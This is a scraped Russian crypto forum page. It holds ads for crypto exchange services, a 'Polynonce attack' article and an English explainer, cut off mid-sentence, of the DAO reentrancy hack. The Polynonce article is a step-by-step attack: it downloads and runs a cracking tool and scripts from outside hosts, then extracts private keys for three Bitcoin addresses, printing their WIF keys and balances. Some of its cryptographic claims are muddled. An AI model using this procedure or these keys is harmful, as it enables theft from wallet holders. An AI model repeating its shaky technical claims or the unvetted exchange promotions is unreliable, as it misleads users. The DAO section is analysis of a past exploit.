Рады вам представить запуск Открытого Бета Теста dp2p. Комиссия: 0% до 01.08.2023г Сайт: https://smartswap.ru/ Чат: https://t.me/smartswap_dp2p Новостной канал: https://t.me/smartswap_news Реферальная программа: Уже сейчас доступна в профиле и вы можете приглашать рефералов. После разработки реферальной программы и окончания нулевой комиссии будут начисляться щедрые вознаграждения.😜 Сети: BSC,Tron, остальные будут дополняться. 📢Содержание: ➡️1. Информация о интерфейсе ➡️2. Как зарегистрироваться на smartswap.ru ➡️3. Создание и подключение кошелька с ПК ➡️4. Создание и подключение кошелька на смартфоне ➡️5. Выбор метода оплаты ➡️6. Как купить/продать криптовалюту ➡️7. Общее описание волонтеров[арбитров] и сделки по порядку ➡️8. Отзывы ➡️9. Официальные ресурсы сервиса dp2p - это web 3.0 децентрализованный протокол для взаимодействия между желающими размещать объявления, продавать/покупать криптовалюту. Мы постарались сделать простой и удобной как привычная p2p площадка, но при этом она гораздо безопаснее. Ваши активы всегда хранятся на вашем личном кошельке [такие как Metamask, Tronlink и тд] и резервируются внутри контракта в момент, когда вы вступаете в сделку. Специальный escrow счет на основе смарт-контрактов исключает возможность получения доступа интерфейса к вашим активам. Интерфейс использует специальный смарт-контракт, с помощью которого сделку проводят два человека. При возникновении спорной ситуации между участниками сделки, доступ к смарт-контракту получает арбитр. Арбитр является третьей стороной, которая сможет повлиять на исход сделки на основе предоставленной информации [квитанция о переводе и тд]. Подробнее о арбитрах описано тут. В планах: webapp бот в Telegram. Аудит смарт контракта. swap crypto/crypto AMM. Онлайн обучение по пользованию интерфейса. Токен на право управления(DAO)продумывается: токеномика, форум по управлению. В ветке информация будет дополняться.
-
247 CRYPTO — Надежный обменник криптовалюты, который позволяет безопасно и быстро обменивать фиатные, электронные деньги и криптовалюты. Bitcoin, Ethereum, Tether, Webmoney, Perfect Money, Visa/Master Card — и это далеко не все доступные способы. Список постоянно пополняется новыми направлениями, среди которых обязательно найдется подходящее. Для обмена выберите предпочитаемый способ и укажите сумму обмена. Затем, следуя инструкциям, осуществите обмен. Отзывчивая служба поддержки готова оказать всю необходимую помощь в решении Ваших вопросов. В рамках проекта действует программа лояльности и услуги в рамках партнерской программы, используя преимущества которых вы можете совершать обмен электронных валют на более выгодных условиях. Для этого просто зарегистрируйтесь на сайте. Основные преимущества 247 Crypto: ♦ Безопасно, прозрачно, выгодно. ♦ Низкие комиссии. Высокая ликвидность. Круглосуточная доступность. ♦ Удобный интерфейс для начинающих и экспертов. Безопасность, скорость, конфиденциальность один из главных принципов работы обменника. Вы можете быть уверены, что данные не будут переданы третьим лицам, не попадут в руки преступников, не будут опубликованы в открытом доступе, а будут надежно храниться на серверах проекта. Если у вас есть какие либо вопросы, пожалуйста, не стесняйтесь обращаться в службу поддержки проекта. https://247crypto.exchange/ru/?rid=119
- 2 replies
-
- Крипто обмен
- Криптовалютa
- (and 8 more)
-
Здравствуйте, уважаемые пользователи! Хотим познакомить вас с сервисом быстрого обмена криптовалют Crypocto. Здесь Вы найдёте обширный спектр фиатных и крипто направлений: BTC, USDT, ETH, LTC, UAH, XRP, SHIBA, DOGE, XMR. Мы ждем каждого из Вас! Мы сделали сервис: простым, удобным и лёгким в проведении транзакций. Фиксируем курс в момент сделки (за исключением задержки депозита клиентом более чем на 30 минут) Уверены, вы оцените преимущества. А если возникнут вопросы – мы всегда на связи! Режим работы: Пн. — Пт. с 10:00 до 22:00 Сб. — Вс. свободный график. Мы постоянно развиваемся и добавляем новые направления. У нас действует бонусная и реферальная программа. Становись партнёром и получай вознаграждение за приглашенных пользователей! Наши преимущества: Быстро – для обмена не нужна регистрация. Удобно – обмен от 15 USD, в течении 5-30 минут. Выгодно – всегда актуальный курс. Надёжно и безопасно – связь с сайтом производится по SSL протоколу. Поддержка клиентов – через различные каналы связи: чат-бот на сайте, Telegram или электронная почта. Вы можете выбрать любой удобный способ для себя! Контакты: E-Mail: support@crypocto.com Telegram: https://t.me/crypocto_bot Отзывы на BestChange: https://www.bestchange.ru/crypocto-exchanger.html Отзывы на ExchangeSumo: https://exchangesumo.com/exchanger/1012/Crypocto/
- 134 replies
-
- обменник криптовалют
- Криптовалютa
-
(and 2 more)
Tagged with:
-
CRYPTO DEEP TECH В этой статье мы опять затронем тему: “Критической уязвимости Биткоина” и на всех трех примерах применим совершенно новую атаку 2023 года “POLYNONCE ATTACK”. Самые первые упоминание об этой атаке описано в статье от “Kudelski Security”. https://research.kudelskisecurity.com/2023/03/06/polynonce-a-tale-of-a-novel-ecdsa-attack-and-bitcoin-tears/ За практическую основу мы будем брать материалы из нашей ранней статьи “Speed up secp256k1 with endomorphism” где значения на кривой secp256k1 от Hal Finney LAMBDA и BETA скрываю всю глубину неизвестности эллиптических кривых Биткоина. https://www.rapidtables.com/convert/number/hex-to-binary.html Также нам прекрасно известно, порядок кривой secp256k1 который состоит из 128 bits Binary number (4 digits): “1111” // Hex number: “F” // n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141 Speed up secp256k1 with endomorphism За теоретическую основу мы будем брать материалы: “Polynonce Attack on Bitcoin” https://attacksafe.ru/polynonce-attack-on-bitcoin 1DxzwX4qC9PsWDSAzuWbJRzEwdGx3n9CJB 929d565c386a279cf7a0382ba48cab1f72d62e7cfb3ab97b4f211d5673bc4441 RawTX 02000000019e3de154f8b473a796b9e39dd279dff1d907a4d27a1d8b23a055f97b08ad4c6e310000006b483045022100b29bdfc27ddf6bebd0e77c84b31dc1bc64b5b2276c8d4147421e96ef85467e8d02204ddd8ff0ffa19658e3b417be5f64d9c425a4d9fcd76238b8538c1d605b229baf0121027b06fe78e39ced37586c42c9ac38d7b2d88ccdd4cd1bb38816c0933f9b8db695ffffffff0169020000000000001600145fc8e854994406f93ea5c7f3abccc5d319ae2a3100000000 Загрузим HEX-данные через утилиту echo и сохраним в файл: RawTX.txt !echo '02000000019e3de154f8b473a796b9e39dd279dff1d907a4d27a1d8b23a055f97b08ad4c6e310000006b483045022100b29bdfc27ddf6bebd0e77c84b31dc1bc64b5b2276c8d4147421e96ef85467e8d02204ddd8ff0ffa19658e3b417be5f64d9c425a4d9fcd76238b8538c1d605b229baf0121027b06fe78e39ced37586c42c9ac38d7b2d88ccdd4cd1bb38816c0933f9b8db695ffffffff0169020000000000001600145fc8e854994406f93ea5c7f3abccc5d319ae2a3100000000' > RawTX.txt Чтобы реализовать атаку мы воспользуемся программным обеспечение “ATTACKSAFE SOFTWARE” www.attacksafe.ru/software Права доступа: !chmod +x attacksafe ls Применение: !./attacksafe -help -version: software version -list: list of bitcoin attacks -tool: indicate the attack -gpu: enable gpu -time: work timeout -server: server mode -port: server port -open: open file -save: save file -search: vulnerability search -stop: stop at mode -max: maximum quantity in mode -min: minimum quantity per mode -speed: boost speed for mode -range: specific range -crack: crack mode -field: starting field -point: starting point -inject: injection regimen -decode: decoding mode !./attacksafe -version Version 5.3.3. [ATTACKSAFE SOFTWARE, © 2023] Запустим список всех атак: !./attacksafe -list Выберем -tool: polynonce_attack 02000000019e3de154f8b473a796b9e39dd279dff1d907a4d27a1d8b23a055f97b08ad4c6e310000006b483045022100b29bdfc27ddf6bebd0e77c84b31dc1bc64b5b2276c8d4147421e96ef85467e8d02204ddd8ff0ffa19658e3b417be5f64d9c425a4d9fcd76238b8538c1d605b229baf0121027b06fe78e39ced37586c42c9ac38d7b2d88ccdd4cd1bb38816c0933f9b8db695ffffffff0169020000000000001600145fc8e854994406f93ea5c7f3abccc5d319ae2a3100000000 Запустим -tool polynonce_attack используя программное обеспечение “ATTACKSAFE SOFTWARE” !./attacksafe -tool polynonce_attack -open RawTX.txt -save SignatureRSZ.csv Мы запустили данную атаку из -tool polynonce_attack и результат сохранился в файл SignatureRSZ.csv Теперь чтобы посмотреть успешный результат откроем файл SignatureRSZ.csv Для того чтобы рассчитать приватный ключ к Биткоин Кошельку из файла SignatureRSZ.csv мы установим SageMath !wget https://cryptodeeptech.ru/sage-9.3-Ubuntu_20.04-x86_64.tar.bz2 !tar -xf sage-9.3-Ubuntu_20.04-x86_64.tar.bz2 cd SageMath/ ls !python3 relocate-once.py !mv '/content/attacksafe' '/content/SageMath/attacksafe' !mv '/content/SignatureRSZ.csv' '/content/SageMath/SignatureRSZ.csv' ls !wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/20PolynonceAttack/crack_weak_ECDSA_nonces_with_LLL.py !./sage -sh python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 128 4 > PrivateKey.txt cat PrivateKey.txt Мы получили приватный ключ к Биткоин Кошельку в HEX формате PrivKey = 0xf0a3e31646ce147bbd79bb6e45e6e9c8c4e51c535918c9b4cdca9528eb62172d Проверим POLYNONCE для каждой подписи ECDSA https://github.com/demining/CryptoDeepTools/blob/main/20PolynonceAttack/example1/POLYNONCE.py Результат: POLYNONCE >> 93e43392cb31d5d1f75175ee64ce16b7 efc86216627af576c29c9c52a0fd10fe POLYNONCE >> 93e43392cb31d5d1f75175ee64ce16b7 f88ff4c8a9ea4b61b1e087d0c0988826 POLYNONCE >> 93e43392cb31d5d1f75175ee64ce16b7 6849e83cd03d103bcc37aca8323c8d2f POLYNONCE >> 93e43392cb31d5d1f75175ee64ce16b7 efc86216627af576c29c9c52a0fd10fe Благодаря значение на кривой secp256k1 от Hal Finney LAMBDA и BETA раскрыл нам одинаковые первоначальные биты 128 bits так как первоначальные бит приватного ключа к Биткоин Кошельку начинается с Binary number (4 digits): "1111" // Hex number: "F" // Проверим HEX приватного ключа: !pip3 install bitcoin from bitcoin import * with open("PrivateKey.txt","r") as f: content = f.readlines() content = [x.strip() for x in content] f.close() outfile = open("PrivateKeyAddr.txt","w") for x in content: outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n") outfile.close() f0a3e31646ce147bbd79bb6e45e6e9c8c4e51c535918c9b4cdca9528eb62172d:1DxzwX4qC9PsWDSAzuWbJRzEwdGx3n9CJB Откроем bitaddress и проверим: ADDR: 1DxzwX4qC9PsWDSAzuWbJRzEwdGx3n9CJB WIF: L5HV2GiosXifcmijGCpFWdYiMRuXh4x4JVK29urGjfAWyasBYoDX HEX: f0a3e31646ce147bbd79bb6e45e6e9c8c4e51c535918c9b4cdca9528eb62172d https://www.blockchain.com/en/explorer/addresses/btc/1DxzwX4qC9PsWDSAzuWbJRzEwdGx3n9CJB BALANCE: $ 3699.40 Рассмотрим остальные примеры: №2 137a6fqt13bhtAkGZWrgcGM98NLCotszR2 c1da9d117e15883ba41539f558ac870f53865ea00f68a8ff8bc7e8a9ee67099b RawTX 010000000103ebc5c4b817124d45ad15e398ec32e9b9b7549c1fc10300ecbf36648c3cb5d42c0000006a47304402204e97dae0ab6e4eee9529f68687907c05db9037d9fbdba78dd01a3338a48d95b602207794cb7aa308243dfbdd5c20225777cd6e01bd7c4f76bf36948aa29290129c2b0121036360352efcff6a823eabb25578a29392eab4d302955fd54ece900578d2ab83b8ffffffff0162020000000000001976a914154813f71552c59487efa3b16d62bfb009dc5f1e88ac00000000 !rm RawTX.txt !rm NoncesHEX.txt !rm PrivateKey.txt !rm SignatureRSZ.csv !rm PrivateKeyAddr.txt !echo '010000000103ebc5c4b817124d45ad15e398ec32e9b9b7549c1fc10300ecbf36648c3cb5d42c0000006a47304402204e97dae0ab6e4eee9529f68687907c05db9037d9fbdba78dd01a3338a48d95b602207794cb7aa308243dfbdd5c20225777cd6e01bd7c4f76bf36948aa29290129c2b0121036360352efcff6a823eabb25578a29392eab4d302955fd54ece900578d2ab83b8ffffffff0162020000000000001976a914154813f71552c59487efa3b16d62bfb009dc5f1e88ac00000000' > RawTX.txt Запустим -tool polynonce_attack используя программное обеспечение “ATTACKSAFE SOFTWARE” !./attacksafe -tool polynonce_attack -open RawTX.txt -save SignatureRSZ.csv Мы запустили данную атаку из -tool polynonce_attack и результат сохранился в файл SignatureRSZ.csv Теперь чтобы посмотреть успешный результат откроем файл SignatureRSZ.csv !./sage -sh python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 128 4 > PrivateKey.txt cat PrivateKey.txt Мы получили приватный ключ к Биткоин Кошельку в HEX формате PrivKey = 0xff0178fa717374f7e74d43f00150748967ea04b64241ec10a10f62debb70868c Проверим POLYNONCE для каждой подписи ECDSA https://github.com/demining/CryptoDeepTools/blob/main/20PolynonceAttack/example2/POLYNONCE.py Результат: POLYNONCE >> 5220dae0c281e1115b4dd69ea3500f70 c5f6da6334586ed2bdc88a05f37bcf95 POLYNONCE >> 5220dae0c281e1115b4dd69ea3500f70 6f82fbd847c138ab48e778135e908149 POLYNONCE >> 5220dae0c281e1115b4dd69ea3500f70 5541022f8aeac81e5ce62e018d1cd722 POLYNONCE >> 5220dae0c281e1115b4dd69ea3500f70 80e88efaff419ecd84d7ded17dc548a7 Благодаря значение на кривой secp256k1 от Hal Finney LAMBDA и BETA раскрыл нам одинаковые первоначальные биты 128 bits так как первоначальные бит приватного ключа к Биткоин Кошельку начинается с Binary number (4 digits): "1111" // Hex number: "F" // Проверим HEX приватного ключа: from bitcoin import * with open("PrivateKey.txt","r") as f: content = f.readlines() content = [x.strip() for x in content] f.close() outfile = open("PrivateKeyAddr.txt","w") for x in content: outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n") outfile.close() Откроем bitaddress и проверим: ADDR: 137a6fqt13bhtAkGZWrgcGM98NLCotszR2 WIF: L5mQfFuzR3rzLtneJ7Tcv64JrHjCpK64UN4JRdGDxCUTbQ8NfHxo HEX: ff0178fa717374f7e74d43f00150748967ea04b64241ec10a10f62debb70868c https://www.blockchain.com/en/explorer/addresses/btc/137a6fqt13bhtAkGZWrgcGM98NLCotszR2 BALANCE: $ 1133.73 Рассмотрим остальные примеры: №3 1HxrEeC2X8UEcSvsemPJtTqrnbAetGWYUt fa80af660fc444d87853137506df02e5c75e8c2bf75dc44589b60356867a6d98 RawTX 01000000016eb80d35b08164302e49f88d8f86bf2827a91a5650149be38f4f73751ff41437060000006a473044022043d4c025a0f3be366a0d768c721b9b9191e0c3db6f2c6bfe34e8fb24af7f379102205a4fe2cc6944e00309c35619ff1242301b84d4728b863f97326f56dbd7a782220121027ccccf5f56ed78c2a761721ff3da0f76b792fbe4eae2ac73e7b4651bc3ef19cdffffffff01c057010000000000232103bec42e5d718b0e5b3853243c9bcf00dd671a335b0eb99fd8ca32f8d5784a9476ac00000000 !rm RawTX.txt !rm NoncesHEX.txt !rm PrivateKey.txt !rm SignatureRSZ.csv !rm PrivateKeyAddr.txt !echo '01000000016eb80d35b08164302e49f88d8f86bf2827a91a5650149be38f4f73751ff41437060000006a473044022043d4c025a0f3be366a0d768c721b9b9191e0c3db6f2c6bfe34e8fb24af7f379102205a4fe2cc6944e00309c35619ff1242301b84d4728b863f97326f56dbd7a782220121027ccccf5f56ed78c2a761721ff3da0f76b792fbe4eae2ac73e7b4651bc3ef19cdffffffff01c057010000000000232103bec42e5d718b0e5b3853243c9bcf00dd671a335b0eb99fd8ca32f8d5784a9476ac00000000' > RawTX.txt Запустим -tool polynonce_attack используя программное обеспечение “ATTACKSAFE SOFTWARE” !./attacksafe -tool polynonce_attack -open RawTX.txt -save SignatureRSZ.csv Мы запустили данную атаку из -tool polynonce_attack и результат сохранился в файл SignatureRSZ.csv Теперь чтобы посмотреть успешный результат откроем файл SignatureRSZ.csv !./sage -sh python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 128 4 > PrivateKey.txt cat PrivateKey.txt Мы получили приватный ключ к Биткоин Кошельку в HEX формате PrivKey = 0xfbc50a7158b3d9fd7fd58fe0874f20c10c650975dc118163debf442a44203fdf Проверим POLYNONCE для каждой подписи ECDSA https://github.com/demining/CryptoDeepTools/blob/main/20PolynonceAttack/example3/POLYNONCE.py Результат: POLYNONCE >> d7460c5b1a98f6d0443ae1cfe1f17814 fbc50a7158b3d9fd7fd58fe0874f20c1 POLYNONCE >> d7460c5b1a98f6d0443ae1cfe1f17814 d4de8d539655ecf0d50fd32187c3c467 POLYNONCE >> d7460c5b1a98f6d0443ae1cfe1f17814 6726aea1a6fd64d82dc657670352de72 POLYNONCE >> d7460c5b1a98f6d0443ae1cfe1f17814 89df16fd387156b39adca9a92464de18 Благодаря значение на кривой secp256k1 от Hal Finney LAMBDA и BETA раскрыл нам одинаковые первоначальные биты 128 bits так как первоначальные бит приватного ключа к Биткоин Кошельку начинается с Binary number (4 digits): "1111" // Hex number: "F" // Проверим HEX приватного ключа: from bitcoin import * with open("PrivateKey.txt","r") as f: content = f.readlines() content = [x.strip() for x in content] f.close() outfile = open("PrivateKeyAddr.txt","w") for x in content: outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n") outfile.close() Откроем bitaddress и проверим: ADDR: 1HxrEeC2X8UEcSvsemPJtTqrnbAetGWYUt WIF: L5f7p5bReuXLm3d7rFkpPyGQ1GNpiGuj8QuQ6rNCKXC9bs3J9GEY HEX: fbc50a7158b3d9fd7fd58fe0874f20c10c650975dc118163debf442a44203fdf https://www.blockchain.com/en/explorer/addresses/btc/1HxrEeC2X8UEcSvsemPJtTqrnbAetGWYUt BALANCE: $ 459.24 Literature: A Novel Related Nonce Attack for ECDSA, Marco Macchetti [Kudelski Security, Switzerland] (2023) Gallant, Robert P., Robert J. Lambert, and Scott A. Wanston. “Faster point multiplication on elliptic curves with efficient endomorphisms” . Annual International Conference on Cryptology, pp. 190–200. Springer, Berlin, Heidelberg, (2001) Hankerson, Darrell, Alfred J. Menezes, and Scott Wanston. “A Guide to Elliptic Curve Cryptography” . Computer Reviews 46, no. 1 (2005) Hal Finney. bitcointalk – “Acceleration of signature verification” . (2011) https://bitcointalk.org/index.php?topic=3238.0 Blahut, Richard E. “Cryptography and Secure Communication” . Cambridge University Press, (2014) Исходный код ATTACKSAFE SOFTWARE Telegram: https://t.me/cryptodeeptech Видеоматериал: https://youtu.be/7nKs_KHtyn4 Источник: https://cryptodeep.ru/polynonce-attack Криптоанализ
-
- Закрытыйключ
- Криптография
- (and 8 more)
-
CRYPTO DEEP TECH In this article, we will look at a bug in the DAO code. The hacker exploited a bug in the code of the DAO and stole more or less $50 million worth of ether. I will focus here only on the main technical issue of the exploit: The fallback function. For a more detailed and advanced recount of the attack, the blog posts by Phil Daian and Peter Vessenes are highly recommended. This post will be the first in what is potentially a series, deconstructing and explaining what went wrong at the technical level while providing a timeline tracing the actions of the attacker back through the blockchain. This first post will focus on how exactly the attacker stole all the money in the DAO. A Multi-Stage Attack This exploit in the DAO is clearly not trivial; the exact programming pattern that made the DAO vulnerable was not only known, but fixed by the DAO creators themselves in an earlier intended update to the framework’s code. Ironically, as they were writing their blog posts and claiming victory, the hacker was preparing and deploying an exploit that targeted the same function they had just fixed to drain the DAO of all its funds. Let’s get into the overview of the attack. The attacker was analyzing DAO.sol, and noticed that the ‘splitDAO’ function was vulnerable to the recursive send pattern we’ve described above: this function updates user balances and totals at the end, so if we can get any of the function calls before this happens to call splitDAO again, we get the infinite recursion that can be used to move as many funds as we want (code comments are marked with XXXXX, you may have to scroll to see em): function splitDAO( uint _proposalID, address _newCurator ) noEther onlyTokenholders returns (bool _success) { ... // XXXXX Move ether and assign new Tokens. Notice how this is done first! uint fundsToBeMoved = (balances[msg.sender] * p.splitData[0].splitBalance) / p.splitData[0].totalSupply; if (p.splitData[0].newDAO.createTokenProxy.value(fundsToBeMoved)(msg.sender) == false) // XXXXX This is the line the attacker wants to run more than once throw; ... // Burn DAO Tokens Transfer(msg.sender, 0, balances[msg.sender]); withdrawRewardFor(msg.sender); // be nice, and get his rewards // XXXXX Notice the preceding line is critically before the next few totalSupply -= balances[msg.sender]; // XXXXX AND THIS IS DONE LAST balances[msg.sender] = 0; // XXXXX AND THIS IS DONE LAST TOO paidOut[msg.sender] = 0; return true; } The basic idea is this: propose a split. Execute the split. When the DAO goes to withdraw your reward, call the function to execute a split before that withdrawal finishes. The function will start running without updating your balance, and the line we marked above as “the attacker wants to run more than once” will run more than once. What does that do? Well, the source code is in TokenCreation.sol, and it transfers tokens from the parent DAO to the child DAO. Basically the attacker is using this to transfer more tokens than they should be able to into their child DAO. How does the DAO decide how many tokens to move? Using the balances array of course: uint fundsToBeMoved = (balances[msg.sender] * p.splitData[0].splitBalance) / p.splitData[0].totalSupply; Because p.splitData[0] is going to be the same every time the attacker calls this function (it’s a property of the proposal p, not the general state of the DAO), and because the attacker can call this function from withdrawRewardFor before the balances array is updated, the attacker can get this code to run arbitrarily many times using the described attack, with fundsToBeMoved coming out to the same value each time. The first thing the attacker needed to do to pave the way for his successful exploit was to have the withdraw function for the DAO, which was vulnerable to the critical recursive send exploit, actually run. Let’s look at what’s required to make that happen in code (from DAO.sol): function withdrawRewardFor(address _account) noEther internal returns (bool _success) { if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply < paidOut[_account]) throw; uint reward = (balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply - paidOut[_account]; if (!rewardAccount.payOut(_account, reward)) // XXXXX vulnerable throw; paidOut[_account] += reward; return true; } If the hacker could get the first if statement to evaluate to false, the statement marked vulnerable would run. When that statements runs, code that looks like this would be called: function payOut(address _recipient, uint _amount) returns (bool) { if (msg.sender != owner || msg.value > 0 || (payOwnerOnly && _recipient != owner)) throw; if (_recipient.call.value(_amount)()) { // XXXXX vulnerable PayOut(_recipient, _amount); return true; } else { return false; } Notice how the marked line is exactly the vulnerable code mentioned in the description of the exploit we linked! That line would then send a message from the DAO’s contract to “_recipient” (the attacker). “_recipient” would of course contain a default function, that would call splitDAO again with the same parameters as the initial call from the attacker. Remember that because this is all happening from inside withdrawFor from inside splitDAO, the code updating the balances in splitDAO hasn’t run. So the split will send more tokens to the child DAO, and then ask for the reward to be withdrawn again. Which will try to send tokens to “_recipient” again, which would again call split DAO before updating the balances array. And so it goes: Propose a split and wait until the voting period expires. (DAO.sol, createProposal) Execute the split. (DAO.sol, splitDAO) Let the DAO send your new DAO its share of tokens. (splitDAO -> TokenCreation.sol, createTokenProxy) Make sure the DAO tries to send you a reward before it updates your balance but after doing (3). (splitDAO -> withdrawRewardFor -> ManagedAccount.sol, payOut) While the DAO is doing (4), have it run splitDAO again with the same parameters as in (2) (payOut -> _recipient.call.value -> _recipient()) The DAO will now send you more child tokens, and go to withdraw your reward before updating your balance. (DAO.sol, splitDAO) Back to (5)! Let the DAO update your balance. Because (7) goes back to (5), it never actually will :-). (Side note: Ethereum’s gas mechanics don’t save us here. call.value passes on all the gas a transaction is working with by default, unlike the send function. so the code will run as long as the attacker will pay for it, which considering it’s a cheap exploit means indefinitely) Armed with this, we can provide a step by step re-trace of how The DAO got emptied out. Step 1: Proposing the Split The first step towards all of the above is to simply propose a regular split, as we’ve mentioned. The attacker does this in the blockchain here in DAO Proposal #59, with the title “Lonely, so Lonely”. Because of this line: // The minimum debate period that a split proposal can have uint constant minSplitDebatePeriod = 1 weeks; he had to wait a week for the proposal to see approval. No matter, it’s just a split proposal like any other! Nobody will look too closely at it, right? Step 2: Getting the Reward As was neatly explained in one of slock.it’s previous posts on the matter, there are no rewards for the DAO to give out yet! (because no rewards were generated). As we mentioned in the overview, the critical lines that need to run here are: function withdrawRewardFor(address _account) noEther internal returns (bool _success) { if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply < paidOut[_account]) // XXXXX throw; uint reward = (balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply - paidOut[_account]; if (!rewardAccount.payOut(_account, reward)) // XXXXX throw; paidOut[_account] += reward; return true; } If the hacker could get the first marked line to run, the second marked line will run the default function of his choosing (that calls back to splitDAO as we described previously). Let’s deconstruct the first if statement: if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply < paidOut[_account]) The balanceOf function is defined in Token.sol, and of course does exactly this: return balances[_owner]; The rewardAccount.accumulatedInput() line is evaluated from code in ManagedAccount.sol: // The sum of ether (in wei) which has been sent to this contract uint public accumulatedInput; Luckily accumulatedInput is oh so simple to manipulate. Just use the default function of the reward account! function() { accumulatedInput += msg.value; } Not only that, but because there is no logic to decrease accumulatedInput anywhere (it tracks the input the account has gotten from all the transactions ever), all the attacker needs to do is send a few Wei to the reward account and our original condition will not only evaluate to false, but its constituent values will evaluate to the same thing every time it’s called: if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply < paidOut[_account]) Remember that because balanceOf refers to balances, which never gets updated, and because paidOut and totalSupply also never get updated since that code in splitDAO never actually executes, the attacker gets to claim their tiny share of the reward with no problems. And because they can claim their share of the reward, they can run their default function and reenter back to splitDAO. Whoopsie. But do they actually need to include a reward? Let’s look at the line again: if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply < paidOut[_account]) What if the reward account balance is 0? Then we get if (0 < paidOut[_account]) If nothing has ever been paid out, this will always evaluate to false and never throw! Why? The original line is equivalent, after subtracting paidOut from both sides, to: if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply - paidOut[_account] < 0) where that first part is actually how much is being paid out. So the check is actually: if (amountToBePaid < 0) But if amountToBePaid is 0, the DAO pays you anyway. To me this doesn’t make much sense — why waste the gas in this manner? I think this is why many people assumed the attacker needed a balance in the reward account to proceed with the attack, something they in fact did not require. The attack works the same way with an empty reward account as with a full one! Let’s take a look at the DAO’s reward address. The DAO accounting documentation from Slockit pegs this address as 0xd2e16a20dd7b1ae54fb0312209784478d069c7b0. Check that account’s transactions and you see a pattern: 200 pages of .00000002 ETH transactions to 0xf835a0247b0063c04ef22006ebe57c5f11977cc4 and 0xc0ee9db1a9e07ca63e4ff0d5fb6f86bf68d47b89, the attacker’s two malicious contracts (which we cover later). That’s one transaction for each recursive call of withdrawRewardFor, which we described above. So in this case there actually was a balance in the rewards account, and the attacker gets to collect some dust. Step 3: The Big Short A number of entirely unsubstantiated allegations on social media have pointed to a $3M Ethereum short that occurred on Bitfinex just moments before the attack, claiming this short closed with almost $1M USD of profit. It’s obvious to anyone constructing or analyzing this attack that certain properties of the DAO (specifically that any split must be running the same code as the original DAO) require an attacker to wait through the creation period of their child DAO (27 days) before withdrawing any coins in a malicious split. This gives the community time to respond to a theft, through either a soft fork freezing attacker funds or a hard fork rolling back the compromise entirely. Any financially motivated attacker who had attempted their exploit on the testnet would have an incentive to ensure profits regardless of a potential rollback or fork by shorting the underlying token. The staggering drop that resulted within minutes of the smart contract that triggered the malicious split provided an excellent profit opportunity, and while there is no proof the attacker took the profit opportunity, we can at least conclude that after all this effort they would have been stupid not to. Step 3a: Preventing Exit (Resistance is Futile) Another contingency that the attacker needed to think of is the case that a DAO split occurs before the attacker can finish emptying the DAO. In this case, with another user as sole curator, the attacker would have no access to DAO funds. Unfortunately the attacker is a smart guy: there is evidence that the attacker has voted yes on all split proposals that come to term after his own, making sure that he would hold some tokens in the case of any DAO split. Because of a property of the DAO we’ll discuss later in the post, these split DAOs are vulnerable to the same emptying attack we’re describing here. All the attacker has to do is sit through the creation period, send some Ether to the reward account, and propose and execute a split by himself away from this new DAO. If he can execute before the curator of this new DAO updates the code to remove the vulnerability, he manages to squash all attempts to get Ether out of the DAO that aren’t his own. Notice by the timestamps here that the attacker did this right around the time he started the malicious split, almost as an afterthought. I see this more as an unnecessary middle finger to the DAO than a financially viable attack: having already emptied virtually the entire DAO, going through this effort to pick up any pennies that might be left on the table is probably an attempt to demoralize holders into inaction. Many have concluded, and I agree, that this hints at the attacker’s motivations being a complete destruction of the DAO that goes beyond profit taking. While none of us know the truth here, I do recommend applying your own judgment. Interestingly enough, this attack was described by Emin Gün Sirer after it had already occurred on the blockchain, but before the public had noticed. Step 4: Executing the Split So we’ve painstakingly described all the boring technical aspects of this attack. Let’s get to the fun part, the action: executing the malicious split. The account that executed the transactions behind the split is 0xf35e2cc8e6523d683ed44870f5b7cc785051a77d. The child DAO they sent funds to is 0x304a554a310c7e546dfe434669c62820b7d83490. The proposal was created and initiated by account 0xb656b2a9c3b2416437a811e07466ca712f5a5b5a (you can see the call to createProposal in the blockchain history there). Deconstructing the constructor arguments that created that child DAO leads us to a curator at 0xda4a4626d3e16e094de3225a751aab7128e96526. That smart contract is just a regular multisignature wallet, with most of its past transactions being adding/removing owners and other wallet management tasks. Nothing interesting there. Johannes Pfeffer on Medium has an excellent blockchain-based reconstruction of the transactions involved in the malicious Child DAO. I won’t spend too much time on such blockchain analysis, since he’s already done a great job. I highly encourage anyone interested to start with that article. In the next article in the series, we’ll look at the code from the malicious contract itself (containing the exploit that actually launched the recursive attack). In the interest of expedience of release, we have not yet completed such an analysis. Step 4a: Extending the Split This step is an update to the original update, and covers how the attacker was able to turn a ~30X amplification attack (due to the max size of Ethereum’s stack being capped at 128) to a virtually infinite draining account. Savvy readers of the above may notice that, even after overwhelming the stack and executing many more malicious splits than was required, the hacker would have their balance zeroed out by the code at the end of splitDAO: function splitDAO( .... withdrawRewardFor(msg.sender); // be nice, and get his rewards totalSupply -= balances[msg.sender]; balances[msg.sender] = 0; paidOut[msg.sender] = 0; return true; } So how did the attacker get around this? Thanks to the ability to transfer DAO tokens, he didn’t really need to! All he had to do was call the DAO’s helpful transfer function at the top of his stack, from his malicious function: function transfer(address _to, uint256 _amount) noEther returns (bool success) { if (balances[msg.sender] >= _amount && _amount > 0) { balances[msg.sender] -= _amount; balances[_to] += _amount; ... By transferring the tokens to a proxy account, the original account would be zeroed out correctly at the end of splitDAO (notice how if A transfers all its money to B, A’s account is already zeroed out by transfer before it can be zeroed out by splitDAO). The attacker can then send the money back from the proxy account to the original account and start the whole process again. Even the update to totalSupply in splitDAO is missed, since p.totalSupply[0] is used to calculate the payout, which is a property of the original proposal and only instantiated once before the attack occurs. So the attack size stays constant despite less available ETH in the DAO with every 